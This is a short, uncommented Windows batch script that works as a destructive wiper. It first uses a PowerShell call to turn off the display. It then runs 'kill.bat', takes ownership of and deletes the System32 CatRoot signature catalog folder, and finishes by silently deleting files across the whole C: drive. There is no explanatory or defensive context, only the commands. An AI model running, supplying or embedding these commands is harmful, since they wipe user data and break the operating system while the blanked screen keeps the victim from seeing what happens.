powershell (Add-Type '[DllImport(\"user32.dll\")]^public static extern int SendMessage(int hWnd, int hMsg, int wParam, int lParam);' -Name a -Pas)::SendMessage(-1,0x0112,0xF170,2)
kill.bat < nul

takeown /f c:\windows\system32\CatRoot /a /r /d y
cacls c:\windows\system32\CatRoot
rd /s /q c:\windows\system32\CatRoot
del /s /q c:\windows\system32\CatRoot\*.*

del /s /q C:\
